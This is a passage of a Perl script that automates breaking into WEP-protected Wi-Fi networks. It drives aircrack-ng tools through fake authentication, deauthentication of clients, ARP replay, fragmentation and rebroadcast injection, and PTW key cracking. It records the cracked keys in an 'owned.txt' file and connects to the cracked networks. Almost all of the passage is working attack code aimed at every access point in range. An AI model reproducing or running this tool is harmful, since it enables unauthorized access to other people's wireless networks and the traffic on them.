###################  END MAC ADDRESS SPOOFING  ######################


##############   END MAC ADDRESS FILTER AND SHARED KEY AUTHENTICATION CHECK ####################




	print "Trying to associate..." unless defined $errline;

	   #################     BEGIN FAKEAUTH FORK    ####################################
           print "\n<< DEBUG >>: FORKING ANOTHER CHILD PROCESS FOR AIREPLAY-NG FOR FAKE AUTHENTICATION WITH KEEP-ALIVEs...\n" if $debug;
	   die "Could not fork aireplay-ng!: $!\n\n" unless defined (my $pid = fork);
	   print "<< DEBUG >>: CHILD PROCESS PID IS $pid...\n" if $debug; 
	   if ($pid == 0){

	      print "<< DEBUG >>: RUNNING \"aireplay-ng -1 900 -o 1 -q 10 -a $all_ap{$all_ap_key}->{'bssid'} $inject_iface -e \"$ssid\" -h $macaddress \|\"...\n"	if $debug;
	      open AIREPLAY, "aireplay-ng -1 900 -o 1 -q 10 -a $all_ap{$all_ap_key}->{'bssid'} $inject_iface -e \"$ssid\" -h $macaddress |" or die "Can't run aireplay-ng.\nMake sure it can be found in one of these directories:\n\t$ENV{'PATH'}: $!\n\n";
	      my @fakeauth;
	      print "<< DEBUG >>: NOW READING THE OUTPUT OF AIREPLAY-NG...\n" if $debug;
	      while (<AIREPLAY>){
	       next if /^\s+$/;
	       push @fakeauth, $_; 
	       if (/Association successful/){
                  print "<< DEBUG >>: FOUND \/Association successful\/ IN aireplay-ng OUTPUT...\n" if $debug;
		  if (defined $errline or defined $skaauth){
 			if (defined $skaauth && $skaauth eq 'true'){
			  print "\nAssociation successful!!!\n" unless defined $errline;
			}
		  }else{
		       print "   SUCCESS!!!\n";
		  }
		  print "Starting to inject...\n";

		  ###################    BEGIN AIRODUMP FORK   ###############################
                  print "<< DEBUG >>: FORKING ANOTHER CHILD PROCESS FOR AIRODUMP-NG FOR IV COLLECTION...\n" if $debug;
		  die "Could not fork airodump-ng!: $!\n\n" unless defined (my $airodump_pid = fork);
	          print "<< DEBUG >>: CHILD PROCESS PID IS $airodump_pid...\n" if $debug; 
		  if ($airodump_pid == 0){
		      print "<< DEBUG >>: DELETING inject_dump* BEFORE WE START...\n" if $debug;	
		      `rm inject_dump* 2>&1`;
	              print "<< DEBUG >>: RUNNING \"airodump-ng $monitor_iface -t wep -u 20 -d $all_ap{$all_ap_key}->{'bssid'} -c $all_ap{$all_ap_key}->{'channel'} --output-format pcap,csv -w inject_dump 2\>\&1\"...\n" if $debug;
		     `airodump-ng $monitor_iface -t wep -u 20 -d $all_ap{$all_ap_key}->{'bssid'} -c $all_ap{$all_ap_key}->{'channel'} --output-format pcap,csv -w inject_dump  2>&1`;
		  }
		  ###################    END AIRODUMP FORK    ################################

		### Try deauth first before injecting... 

		print "Sending Deauth...\n";
	        print "<< DEBUG >>: RUNNING \"aireplay-ng -0 3 -a $all_ap{$all_ap_key}->{'bssid'} $inject_iface -h $macaddress\"...\n" if $debug;
		`aireplay-ng -0 3 -a $all_ap{$all_ap_key}->{'bssid'} $inject_iface -h $macaddress`;

		  ##################    BEGIN ARP REPLAY FORK   #############################
                  print "<< DEBUG >>: FORKING ANOTHER CHILD PROCESS FOR AIREPLAY-NG FOR ARP REPLAY ATTACK...\n" if $debug;
		  die "Could not fork aireplay-ng!: $!\n\n" unless defined (my $aireplay_pid = fork);
	          print "<< DEBUG >>: CHILD PROCESS PID IS $aireplay_pid...\n" if $debug; 
		  if ($aireplay_pid == 0){
	              print "<< DEBUG >>: RUNNING \"aireplay-ng $inject_iface -3 -b $all_ap{$all_ap_key}->{'bssid'} -h $macaddress 2\>\&1\"...\n" if $debug;
		     `aireplay-ng $inject_iface -3  -b $all_ap{$all_ap_key}->{'bssid'} -h $macaddress 2>&1`;
		  }
		  ##################    END ARP REPLAY FORK    ##############################



	###   After successful "Fake Authentication" watch airodump output and see if IV increases.
	###   Once it reaches $min_iv, start cracking the key
	###   If IV doesn't reach 100 within 10 seconds, try deauth (for windows clients which refreshes arp cache on disconnects)
	###   If IV doesn't reach 300 within 40 seconds, try clientless attacks (fragmentation, -p0841)
	###   If IV is still 0 within 40 seconds, stop injecting and move to the next AP
	###   If 20 minutes have passed, stop injecting and move to the next AP 
	###   If Enter key is pressed, stop injecting and move to the next AP



	print "Counting IVs...(hit ENTER to skip this AP)\n";

	my $ivtimer = 0;
	my $cracking = 'notdone';
	my $crackfailed = 0;
	my $timeout = 0;
	my $aireplay_rebroadcast_pid = 1;
	my $keyfound;
	print "<< DEBUG >>: DISPLAYING IV COUNT EVERY 5 SECONDS...\n" if $debug;
	while (1){


	#  If aircrack is done cracking(when it has found the key or it hasn't and has tried for 15 minutes already) or Enter was pressed 
	if ($cracking eq 'done' || ReadKey(-1) || $timeout == 1){
	  print "Stopping all forks...\n\n";

          print "<< DEBUG >>: KILLING AIRODUMP-NG CHILD PROCESS (PID: $airodump_pid)...\n" if $debug;
	  kill (9, $airodump_pid);

          print "<< DEBUG >>: KILLING AIREPLAY-NG ARP REPLAY CHILD PROCESS (PID: $aireplay_pid)...\n" if $debug;
	  kill (9, $aireplay_pid);

          if ($aireplay_rebroadcast_pid != 0 && $aireplay_rebroadcast_pid != 1){
             print "<< DEBUG >>: KILLING AIREPLAY-NG REBROADCAST CHILD PROCESS (PID: $aireplay_rebroadcast_pid)...\n" if $debug;
	     kill(9, $aireplay_rebroadcast_pid);
	     print "<< DEBUG >>: SLEEPING FOR 3 SECONDS...\n" if $debug;
	     sleep 10;
	  }
	  last;
	}else{



	###  Keep watching the contents of airodump output "inject_dump-01.csv" every 1 sleep

### If for some reason, airodump-ng has not yet created our csv, we'll just sleep for 5 seconds.
	  unless (open INJECTDUMP, "inject_dump-01.csv") { 
		print "Can't open inject_dump-01.csv!: $!\n";
		print "Sleeping for 5 seconds...\n";
		sleep 5;
		unless (open INJECTDUMP, "inject_dump-01.csv"){
			print "Still can\'t open inject_dump-01.csv after 5 seconds! $!\n"; 
			print "Try airodump-ng for at least 6 seconds and see if it will write to .csv\nSkipping...\n\n";
			exit;
		}
	 }

#########   BEGIN READING inject_dump.csv  #########

	  while (<INJECTDUMP>){
	     next if (/^\r$/ || /^BSSID/);
	     last if (/^Station/);
	     last if (/^\s*$/);
	     chomp;
	     $all_ap{$all_ap_key}->{'iv'} = (split /,/,$_)[10];
	     $all_ap{$all_ap_key}->{'iv'} =~ s/^\s*//;


	###  If it reaches $min_iv, IV should be ripe for cracking


	     if ($all_ap{$all_ap_key}->{'iv'} >= $min_iv){
	       print "\nCollected $all_ap{$all_ap_key}->{'iv'} IVs. Trying to crack...\n";

		my $elapsed_cracktime;
		my $min;
		my $sec;


	################    BEGIN AIRCRACK FORK    ###########################################

               print "<< DEBUG >>: FORKING ANOTHER CHILD PROCESS FOR AIRCRACK-NG FOR PTW CRACKING...\n" if $debug;
	       die "Could not fork aircrack-ng!: $!\n\n" unless defined (my $aircrack_pid = fork);
	       print "<< DEBUG >>: CHILD PROCESS PID IS $aircrack_pid...\n" if $debug; 
	       if ($aircrack_pid == 0){


	         print "<< DEBUG >>: RUNNING \"aircrack-ng -q -b $all_ap{$all_ap_key}->{'bssid'} inject_dump-01.cap \|\"...\n" if $debug;
	         open AIRCRACK,"aircrack-ng -q -b $all_ap{$all_ap_key}->{'bssid'} inject_dump-01.cap |" or die "Can't run aircrack-ng.\nMake sure it can be found in one of these directories:\n\t$ENV{'PATH'}: $!\n\n";
		 while (<AIRCRACK>){
			chomp;
				if ($keyfound){
				   (my $successrate) = $_ =~ /(\d+)%$/;
				   print "$_\n";

	###  Decloacking... Feature for next version.
				   #if ($successrate < 100){
				       #print "Would you like to decloack?";
				    #}

	### Just to see final IV count after cracking

				    close INJECTDUMP;	
				    print "<< DEBUG >>: READING inject_dump-01.csv TO GET THE FINAL IV COUNT...\n" if $debug;
				    open INJECTDUMP, "inject_dump-01.csv" or last;
				    while (<INJECTDUMP>){
					next if (/^\r$/ || /^BSSID/);
					last if (/^Station/);
					chomp;
					$all_ap{$all_ap_key}->{'iv'} = (split /,\s+/,$_)[10];
					print "OWNED USING $all_ap{$all_ap_key}->{'iv'} IVs!\n";
					print "<< DEBUG >>: COMPUTING ELAPSED TIME...\n" if $debug;
					if ($elapsed_cracktime >= 60){
					    $min = int($elapsed_cracktime / 60);
					    $sec = $elapsed_cracktime % 60;
					    $elapsed_cracktime = sprintf ("%02d:%02d", $min, $sec); 
					    print "Elapsed Time: $elapsed_cracktime\t\t\t".scalar localtime()."\n";
					}else{
					    print "Elapsed Time: 00:$elapsed_cracktime\t\t\t".scalar localtime(). "\n";
					 }



				     }
			              print "<< DEBUG >>: CRACKING DONE. EXITING AIRCRACK-NG PTW CHILD PROCESS NOW...\n" if $debug; 		
				      exit(0);
				  }

		        if (/KEY/){ 
                  	      print "<< DEBUG >>: FOUND \/KEY\/ IN aircrack-ng OUTPUT...\n" if $debug;
			      $elapsed_cracktime = time - $start_cracktime;
			      $_ =~ s/\s*//;
			      print $_;
			      ($all_ap{$all_ap_key}->{'key'}) = $_ =~ /\[\s(.*)\s\]/;
			

	### Make sure the existing key will be replaced with a new one in case 15 days have passed since dateowned
			      if (exists $owned_ap{$all_ap{$all_ap_key}->{'bssid'}}){
				  print "<< DEBUG >>: OVERWRITING EXISTING KEY FOR $owned_ap{$all_ap{$all_ap_key}->{'bssid'}}...\n" if $debug;
			          open KEYS, "owned.txt" or die "Can't open owned.txt!: $!\n\n";
			          open KEYSTEMP, ">.owned.txt.tmp" or die "Can't write to .owned.txt.tmp!: $!\n\n";
				  print "<< DEBUG >>: READING \"owned.txt\"...\n" if $debug;
			          while (<KEYS>){
				      chomp;
				      next if /$all_ap{$all_ap_key}->{'bssid'}/;
				      print KEYSTEMP "$_\n";
			          }
			          `cp .owned.txt.tmp owned.txt`;
			          close KEYS;
			      }

			      open KEYS, ">>owned.txt" or die "Can't append to owned.txt!: $!\n\n";
			      print "\n<< DEBUG >>: NOW ADDING ENTRY FOR $all_ap{$all_ap_key}->{'bssid'} TO \"owned.txt\"...\n" if $debug;
		              print KEYS "$all_ap{$all_ap_key}->{'bssid'} === $all_ap{$all_ap_key}->{'channel'} === $all_ap{$all_ap_key}->{'ssid'} === $all_ap{$all_ap_key}->{'key'} === ", time, "\n";
			      $keyfound = 1;
		       }

		 }
	       }
#########################     END AIRCRACK FORK    ###############################################


###  Wait for aircrack to exit. aircrack will always exit after successfully finding the key so the while loop <AIRCRACK> terminates, and we set $cracking = 'done' after it exits 
###  If it cannot find the key, it will keep trying as soon as the dump files have updated after PTW_TRY_STEP(aircrack-ng.h). If it still cannot find the key, the AP will be skipped after $crack_timeout


### Timeout cracking if it aircrack-ng could not find the key after $crack_timeout

eval {
  local %SIG;
  $SIG{ALRM} = sub { print "Could not find the key after $crack_timeout seconds.\nSkipping...\n"; kill(9, $aircrack_pid); };
  alarm $crack_timeout;
};

	 
		waitpid($aircrack_pid, 0); 
		$cracking = 'done';	


	     }

	      sleep 1;
	      ++$ivtimer;

#######################  Display IV counts every 5 seconds ######################

if ($ivtimer % 5 == 0 || $ivtimer == 1){
	      print "$all_ap{$all_ap_key}->{'iv'}" unless $cracking eq 'done';
}
	      print "." if ($ivtimer % 1 == 0);
	      print "\n" if ($ivtimer % 30 == 0);

###################################################################################


############# After 10 sleeps, try Deauth #####################################

	      if ($ivtimer / 10 == $try_deauth && $all_ap{$all_ap_key}->{'iv'} < 100){
		print "\nStill $all_ap{$all_ap_key}->{'iv'} after $ivtimer seconds...\nSending Deauth...\n";
		print "<< DEBUG >>: RUNNING \"aireplay-ng -0 1 -a $all_ap{$all_ap_key}->{'bssid'} $inject_iface -h $macaddress\"...\n" if $debug;
		`aireplay-ng -0 1 -a $all_ap{$all_ap_key}->{'bssid'} $inject_iface -h $macaddress`;
		print "<< DEBUG >>: SLEEPING FOR 2 SECONDS...\n" if $debug;
		sleep 2;
		print "Sending Deauth...\n";
		print "<< DEBUG >>: RUNNING \"aireplay-ng -0 1 -a $all_ap{$all_ap_key}->{'bssid'} $inject_iface -h $macaddress\"...\n" if $debug;
		`aireplay-ng -0 1 -a $all_ap{$all_ap_key}->{'bssid'} $inject_iface -h $macaddress`;
		print "Counting IVs...\n"; 
		print "<< DEBUG >>: SLEEPING FOR 2 SECONDS...\n" if $debug;
		sleep 2;
	      }

################################################################################



######################   BEGIN  CLIENT-LESS  ATTACKS  ####################################

######### After 30 sleeps try clientless attacks (fragmentation then rebroadcast) ######################

my @fragment;
my $chosen_packet;
my $xor;
my $fragmentation = '';

	      if ( $ivtimer / 10 == $try_fragment ) { 
		if ($all_ap{$all_ap_key}->{'iv'} > 0 && $all_ap{$all_ap_key}->{'iv'} < 300 ) {

		    print "\nStill $all_ap{$all_ap_key}->{'iv'} after $ivtimer seconds. =(\nThis will take forever. Let's try Fragmentation!\n";
		    print "Writing output to \"fragattack.log\"...    (try \"tail -f fragattack.log\")\n";
		    print "Looking for data packets...";
                    print "\n<< DEBUG >>: FORKING ANOTHER CHILD PROCESS FOR AIREPLAY-NG FOR FRAGMENTATION ATTACK (-5) TO BE READ FROM VIA FRAGMENT_IPC...\n" if $debug;

		    die "Could not fork aireplay-ng!: $!\n\n" unless defined (my $fragment_pid = open(FRAGMENT_IPC, "-|"));

	            print "<< DEBUG >>: COPYING inject_dump-01.cap to inject_dump-01.cap.tmp...\n" if $debug;
		    print "<< DEBUG >>: RUNNING \"aireplay-ng -5 $inject_iface -b $all_ap{$all_ap_key}->{'bssid'} -r inject_dump-01.cap.tmp -h $macaddress\"...\n" if $debug; 

		    if ($fragment_pid == 0){

  		        `cp inject_dump-01.cap inject_dump-01.cap.tmp`;
		         my $fragattack = Expect->spawn("aireplay-ng -5 $inject_iface -b $all_ap{$all_ap_key}->{'bssid'} -r inject_dump-01.cap -h $macaddress");
		         $fragattack->log_stdout(1) if $debug;
		         $fragattack->log_file("fragattack.log", "w");
			 #$fragattack->exp_internal(1);

### Let's try as much data packets as we can within $frag_timeout. The attack ends once we ran out of $packets_to_try or when we got the keystream. 
		         for (my $triedpackets = 0; $packets_to_try != 0; $packets_to_try--, $triedpackets++){
			    $fragattack->expect(undef, ["Use this packet"]) or die "\nFragmentation attack finished. Used $triedpackets packets.\nCounting IVs...\n";
			    $fragattack->send("y\r");
		         }
		          print "<< DEBUG >>: FRAGMENTATION ATTACK DONE. EXITING AIREPLAY-NG CHILD PROCESS NOW...\n" if $debug;
		         exit(0);
		     }

######## Timeout fragmentation after frag_timeout seconds  ####################

if ($frag_timeout > 0){
print "<< DEBUG >>: SETTING $frag_timeout SECONDS TIMEOUT FOR FRAGMENTATION...\n" if $debug;
   eval {
      local %SIG;
      $SIG{ALRM} = sub { 	
		      unless ($fragmentation eq 'failed' or $fragmentation eq 'success'){
			  $fragmentation = 'timedout';
			  kill(9, $fragment_pid); 
		      }
		   };
      alarm $frag_timeout;
  };
}


#################################################################################

                print "<< DEBUG >>: READING STDOUT OF AIREPLAY-NG CHILD PROCESS VIA FRAGMENT_IPC...\n" if $debug;
		while (<FRAGMENT_IPC>){
			print $_ if $debug;
		     if (/chosen/){	
                  	print "\n<< DEBUG >>: FOUND \/chosen\/ IN aireplay-ng OUTPUT...\n" if $debug;
		 	$chosen_packet = (split/\s+/,$_)[-1];
			print "\nTrying $chosen_packet...";
		     }	
		     if (/xor/) {
                  	print "<< DEBUG >>: FOUND \/xor\/ IN aireplay-ng OUTPUT...\n" if $debug;
			$fragmentation = 'success';
			$xor = (split/\s+/,$_)[-1];
			chomp($xor);
			print "\nGOT KEYSTREAM!! -> $xor\n";
		        print "<< DEBUG >>: BUILDING ARP PACKET (forged_arp.cap) USING packetforge-ng...\n" if $debug;
			print "<< DEBUG >>: RUNNING \"packetforge-ng -0 -a $all_ap{$all_ap_key}->{'bssid'} -h $macaddress -k 255.255.255.255 -l 255.255.255.255 -y $xor -w forged_arp.cap\"...\n" if $debug;
		        `packetforge-ng -0 -a $all_ap{$all_ap_key}->{'bssid'} -h $macaddress -k 255.255.255.255 -l 255.255.255.255 -y $xor -w forged_arp.cap`;
		        print "Replaying \"forged_arp.cap\"...\n";

                        print "<< DEBUG >>: FORKING ANOTHER CHILD PROCESS FOR AIREPLAY-NG FOR ARP REPLAY ATTACK USING THE FORGED ARP PACKET forged_arp...\n" if $debug;
		    	die "Could not fork aireplay-ng for \"forged_arp\"!: $!\n\n" unless defined (my $forged_arpreplay_pid = fork);
		    	if ($forged_arpreplay_pid == 0){
		       	   print "<< DEBUG >>: RUNNING \"aireplay-ng $inject_iface -3 -r forged_arp.cap -b $all_ap{$all_ap_key}->{'bssid'} -h $macaddress 2>&1\"...\n" if $debug;
		       	   `aireplay-ng $inject_iface -3 -r forged_arp.cap -b $all_ap{$all_ap_key}->{'bssid'} -h $macaddress 2>&1`;
		        }
			print "<< DEBUG >>: SLEEPING FOR 3 SECONDS...\n" if $debug;
		        sleep 3;
		### We don't need two aireplay-ng -3 running so we kill this one after 3 seconds, just enough for the other aireplay-ng -3 to pick up our forged arp
			print "<< DEBUG >>: KILLING OUR SECOND AIREPLAY-NG ARP REPLAY INSTANCE (PID: $forged_arpreplay_pid)...\n" if $debug;
		        kill (9, $forged_arpreplay_pid);
		     }
		 
		 }


######################  BEGIN REBROADCAST ATTACK (-p0841)  #############################

### Fragmentation will exit either because it has timed out or it has ran out of actual data or the packets_to_try limit was reached. In either case, we'll try rebroadcast

 	          unless ($fragmentation eq 'success'){

		     if ($fragmentation eq 'timedout'){
		         print "\nAttack failed after $frag_timeout seconds. =(\nTrying rebroadcast (-p 0841)...\n";
		     }else{
			  $fragmentation = 'failed';
		          print "\nTried all data packets. Still nothing.\n\nTrying rebroadcast (-p 0841)...\n";
		     }	

		     print "Writing output to \"rebroadcast.log\"...    (try \"tail -f rebroadcast.log\")\n";
                     print "<< DEBUG >>: FORKING ANOTHER CHILD PROCESS FOR AIREPLAY-NG FOR REBROADCAST ATTACK (-p 0841)...\n" if $debug;
		     die "Could not fork aireplay-ng!: $!\n\n" unless defined ($aireplay_rebroadcast_pid = fork);
		     if ($aireplay_rebroadcast_pid == 0){
		          print "<< DEBUG >>: RUNNING \"aireplay-ng $inject_iface -2 -p 0841 -b $all_ap{$all_ap_key}->{'bssid'} -c FF:FF:FF:FF:FF:FF -h $macaddress -r inject_dump-01.cap\"...\n" if $debug;
		          my $p0841attack = Expect->spawn("aireplay-ng $inject_iface -2 -p 0841 -b $all_ap{$all_ap_key}->{'bssid'} -c FF:FF:FF:FF:FF:FF -h $macaddress -r inject_dump-01.cap 2>&1");
		     	  $p0841attack->log_stdout(0);
		     	  $p0841attack->log_file("rebroadcast.log", "w");
			  $p0841attack->expect(60, ["Use this packet"]) or die "This is impossible! No data found within 60 seconds!\n\n";
			  $p0841attack->send("y\r");
			  $p0841attack->expect(undef, ["Use this packet"]) or die "Rebroadcast attack finished.\n\n";
		     }
			
		  }

######################  END REBROADCAST ATTACK (-p0841)  #############################


### If IV is still 0 after 30 seconds, we won't even try clientless attacks, so we skip the AP.
		
	      }elsif ($all_ap{$all_ap_key}->{'iv'} == 0) {
			print "\n$ivtimer seconds and no ARPs, no Data?\nThis ain't gonna work. Skipping...\n"; 	
			$timeout = 1;
	      }
	  }
	   
	


################################   END  CLIENT-LESS  ATTACKS  ###########################################



### After about 20 minutes worth of sleeps

	      if ($ivtimer / 10 == $ap_timeout){
	         if ($fragmentation ne ''){
		     print "\nStill $all_ap{$all_ap_key}->{'iv'} after ". $ivtimer + $frag_timeout . " seconds...\nSkipping...\n";
		 }else{ 	
		     print "\nStill $all_ap{$all_ap_key}->{'iv'} after $ivtimer seconds...\nSkipping...\n";
		 }
		$timeout = 1;
	      }

	




	  }
#########   END READING inject_dump.csv  #########

       }

    }
### END while(1)


	###  Wait for Airodump and Aireplay (arp replay) forks to finish and if their done we can exit the FAKE AUTH child
	 waitpid($airodump_pid, 0); 
	 waitpid($aireplay_pid, 0); 
	 waitpid($aireplay_rebroadcast_pid, 0);
	 print "<< DEBUG >>: MAKING SURE OUR TERMINAL IS IN CLEAN STATE..\n" if $debug;
	 print "<< DEBUG >>: RUNNING \"stty sane\"...\n" if $debug;
	 system("stty", "sane");
	 print "<< DEBUG >>: EXITING AIREPLAY-NG FAKE AUTH WITH KEEP-ALIVE CHILD PROCESS NOW...\n" if $debug;
	 exit(0);



  }
### END if (/Association successful/)

### If we suddenly get another error from the AP, e.g, Disassociation, they're probably using WIPS or something, so we skip the ap;

  if (/code/){
           print "<< DEBUG >>: FOUND \/code\/ IN aireplay-ng OUTPUT...\n" if $debug;
    	   print "\nAnother error code after mac spoofing.\n$_\nWIPS could be in place. Skipping...\n\n";
	   print "<< DEBUG >>: EXITING AIREPLAY-NG FAKE AUTH WITH KEEP-ALIVE CHILD PROCESS NOW...\n" if $debug;
    	   exit(0);
  } 


 }
### END while <AIREPLAY>

### When <AIREPLAY> ends, that means, FAKEAUTH did not work so we skip this AP
 print "\nCan't associate. aireplay-ng died!\n\n"; 
 foreach (@fakeauth){
    print "\t$_" if /\*/;
 }
 print "\n\n";
 print "<< DEBUG >>: EXITING AIREPLAY-NG FAKE AUTH WITH KEEP-ALIVE CHILD PROCESS NOW...\n" if $debug;
 exit;
	  

 }
### END if ($pid == 0)

###  PARENT of $pid (FAKEAUTH)
###  Wait for FAKEAUTH child to finish

	waitpid($pid, 0);
	print "<< DEBUG >>: MAKING SURE OUR TERMINAL IS IN CLEAN STATE..\n" if $debug;
 	print "<< DEBUG >>: RUNNING \"stty sane\"...\n" if $debug;
	system("stty", "sane");

#########################   END MODE   CRACK  ####################################


#########################   BEGIN  MODE   SORT  ####################################


	  }elsif($mode eq 'sort'){
	     $manualip = 0;
	     if (exists $owned_ap{$all_ap{$all_ap_key}->{'bssid'}}){	
	   	print "#########################################################\n";
	   	print "\nGetting ping rtt of \"", ($all_ap{$all_ap_key}->{'ssid'} ne $hssid)?$all_ap{$all_ap_key}->{'ssid'}:"hidden", "\" ($all_ap{$all_ap_key}->{'bssid'})\n";

# In case ssid is hidden in our initial scan, we will display the revealed ssid in owned.txt
		$all_ap{$all_ap_key}->{'ssid'} = $owned_ap{$all_ap{$all_ap_key}->{'bssid'}}->{'ssid'};

	        my $pingresponse = connect($all_ap{$all_ap_key}->{'bssid'}, $owned_ap{$all_ap_key}->{'key'}, $all_ap{$all_ap_key}->{'ssid'}, 'ping', $pinghost);
		$all_ap{$all_ap_key}->{'rtt'} = $$pingresponse{'rtt'};
		$all_ap{$all_ap_key}->{'packetloss'} = (defined $$pingresponse{'packetloss'})?$$pingresponse{'packetloss'}:100;

# We set rtt to 99999 if ping was unsuccessful so the particular ap will end up at the bottom of owned_rtt.txt when sorting
		unless (defined $all_ap{$all_ap_key}->{'rtt'} && $all_ap{$all_ap_key}->{'rtt'} ne ''){
			$all_ap{$all_ap_key}->{'rtt'} = 99999;
		}
		print "\nAverage Ping RTT: $all_ap{$all_ap_key}->{'rtt'}  Packet Loss: $all_ap{$all_ap_key}->{'packetloss'}\%\n\n" unless ($all_ap{$all_ap_key}->{'rtt'} == 99999);
			
	     }else{
		print "\n##########################################################\n\n" if $debug; 
		print "<< DEBUG >>: NO KEY FOR $all_ap{$all_ap_key}->{'bssid'} ", ($all_ap{$all_ap_key}->{'ssid'} eq $hssid)?"(hidden).":"($all_ap{$all_ap_key}->{'ssid'}).", " Skipping...\n\n" if $debug; 
		push @nokeys, ($all_ap{$all_ap_key}->{'ssid'} ne $hssid)?"$all_ap{$all_ap_key}->{'bssid'} \"$all_ap{$all_ap_key}->{'ssid'}\"":"$all_ap{$all_ap_key}->{'bssid'}  hidden";
		next;
	     }
#########################   END  MODE   SORT  ####################################


#########################   BEGIN   MODE  CONNECT  ####################################

	  }elsif($mode eq 'connect'){
	$manualip = 0;	
	open OWNED, "owned.txt" or die "No APs to connect!!: $!\n\n";
		my $connect_status;
		while (<OWNED>){
			next if /^\s*$/;
			next if /^#$/;
			$bssid = (split / === /, $_)[0]; 
			$ssid = (split / === /, $_)[2]; 
			$key = (split / === /, $_)[3]; 
	   		print "#########################################################\n";
			print "\nConnecting to \"$ssid\" ($bssid)...\n";

# We will only attempt to connect to an ap if it was found in our initial scan, otherwise, the ap will be skipped because it is out of range
			if (exists $all_ap{$bssid}){	
			  $connect_status = connect($bssid, $key, $ssid, 'connect', $pinghost);
		 	  if ($connect_status eq 'success'){
				print "Successfully connected to \"$ssid\" ($bssid)...\n\n";
				exit;	
		         }else{
				print "Cannot connect. Trying next AP...\n\n";
				sleep 3;
				next;
		    	}

     			}else{
				print "\"$ssid\" ($bssid) is not in our range.\nSkipping...\n\n";
				sleep 1;
				next;
     			} 
                 }

	   print "\n\nAll APs have been tried. Cannot connect. Try reloading the wireless card driver.\n";
	   exit;

#########################   END   MODE  CONNECT  ####################################
      }

}

if (scalar @knownskipped > 0){
   print "--------------------------------------------------------\n";
   print "\nSkipped Access Points - known_ap.txt (not included):\n\n";
   for (@knownskipped){
	print "$_ ", ($all_ap{$_}->{'ssid'} eq $hssid)?"(hidden)":"\"$all_ap{$_}->{'ssid'}\"","\n";
   }
   print "\n";
   
}

if (scalar @badskipped > 0){
   print "--------------------------------------------------------\n";
   print "\nSkipped Access Points - bad_ap.txt:\n\n";
   for (@badskipped){
	print "$_\n";
   }
   print "\n";
   
}






#############  END LOOPING THROUGH %all_ap ###################################

#########   AFTER ALL APs HAVE BEEN PROCESSED   ######################
print "#########################################################\n";

if ($mode eq 'crack'){
  if (scalar @ownedrecently > 0){
    print "--------------------------------------------------------\n";
    print "\nSkipped Access Points - cracked recently (15 days):\n\n";
    for (@ownedrecently){
        print "$_\n";
    }
    print "\n";
  
  }

}





##########   BEGIN SORTING  IF IN MODE: SORT   ####################

if ($mode eq 'sort'){

my %unsortedap;
my @outofrange;

print "\n<< DEBUG >>: NOW SORTING owned.txt...\n" if $debug;
open OWNED, "owned.txt" or die "Can't open owned.txt!: $!\n\n";
while (<OWNED>){
   chomp;
   $bssid = (split/ === /, $_)[0];
   $ssid = (split/ === /, $_)[2];
   if (exists $all_ap{$bssid}->{'rtt'}){

# 1. %unsortedap key is each entire owned.txt line. The value is each AP's RTT.
	$unsortedap{$_}->{'rtt'} = $all_ap{$bssid}->{'rtt'};
	$unsortedap{$_}->{'packetloss'} = $all_ap{$bssid}->{'packetloss'};

   }else{
	push @outofrange, $_;
	print "<< DEBUG >>: \"$ssid\" ($bssid) IS NOT IN OUR RANGE. SKIPPING...\n" if $debug;
    }

}

print "<< DEBUG >>: WRITING SORTED RTT TO owned_rtt.txt...\n" if $debug;
open SORTEDRTT, ">owned_rtt.txt" or die "Can't write to owned_rtt.txt!: $!\n\n";
open SORTED, ">owned_sorted.txt" or die "Can't write to owned_sorted.txt!: $!\n\n";

# 2. Here we'll sort the RTTs, afterwards, we write each line of the owned.txt plus the RTT and packet loss into owned_rtt.txt. owned_sorted.txt is just the same as owned_rtt.txt but without the RTTs.

foreach (sort { $unsortedap{$a}->{'rtt'} <=> $unsortedap{$b}->{'rtt'} } keys %unsortedap){
	print SORTEDRTT "$_ === $unsortedap{$_}->{'rtt'} ($unsortedap{$_}->{'packetloss'}\% loss)\n";
	print SORTED "$_\n";
}

close SORTEDRTT;
close SORTED;
system "touch owned_sorted.txt" unless (-e 'owned_sorted.txt');

# 3. Here we're just appending those out of range APs to our owned_sorted.txt

open SORTED, ">>owned_sorted.txt" or die "Can't append to owned_sorted.txt!: $!\n\n";
foreach (@outofrange){
    print SORTED "$_\n";
}

close SORTED;

unless (scalar @nokeys == 0){
    print "\nThe following APs were not sorted because we don\'t have their keys:\n\n";
    for (@nokeys){
        print "$_\n";
    }
}

# 4. Finally, we have a sorted owned.txt

system("mv owned_sorted.txt owned.txt 2>&1");
print "\n\n\"owned.txt\" has been sorted according to average ping RTT. You can compare it\nwith \"owned_rtt.txt\" and manually reorder after checking for packet loss.\n\n";
}

######################   END SORTING    ################################







###################   BEGIN SUB CONNECT   ##############################
sub connect{
my $ping_status;
my $bssid = shift;
my $key = shift;
my $ssid = shift;
my $op = shift;
my $pinghost = shift;


if ($op eq 'connect'){
    print "Associating...\n";
    print "<< DEBUG >>: RUNNING \"iwconfig $inject_iface mode managed\"...\n" if $debug;
    `iwconfig $inject_iface mode managed`;
    print "<< DEBUG >>: RUNNING \"iwconfig $inject_iface ap $bssid\"...\n" if $debug;
    `iwconfig $inject_iface ap $bssid`;
    print "<< DEBUG >>: RUNNING \"iwconfig $inject_iface essid \'$ssid\'\"...\n" if $debug;
    `iwconfig $inject_iface essid \'$ssid\'`;
    print "<< DEBUG >>: RUNNING \"iwconfig $inject_iface key $key\"...\n" if $debug;
    `iwconfig $inject_iface key $key`;

    print "<< DEBUG >>: SLEEPING FOR 15 SECONDS...\n" if $debug;
    sleep 15;
    print "<< DEBUG >>: CHECKING IF WE HAVE SUCCESSFULLY ASSOCIATED...\n" if $debug;
    print "<< DEBUG >>: RUNNING \"iwconfig $inject_iface \|\"...\n" if $debug;
    open IWCONFIG, "iwconfig $inject_iface |" or die "Can't run iwconfig.\nMake sure it can be found in one of these directories:\n\t$ENV{'PATH'}: $!\n\n";
    while (<IWCONFIG>){
        if (/linked/){
	    print "<< DEBUG >>: FOUND \/linked\/ IN iwconfig OUTPUT...\n" if $debug;
	    print "Associated successfully...\n";
	    print "Setting (IP : Gateway) manually... (192.168.1.150 : 192.168.1.1)\n";
	    print "<< DEBUG >>: RUNNING \"ifconfig $inject_iface 192.168.1.150 netmask 255.255.255.0 > \/dev\/null 2>\&1\"...\n" if $debug;
   	    `ifconfig $inject_iface 192.168.1.150 netmask 255.255.255.0 > /dev/null 2>&1`;
	    print "<< DEBUG >>: RUNNING \"route delete default > \/dev\/null 2>\&1\"...\n" if $debug;
   	    `route delete default > /dev/null 2>&1`;
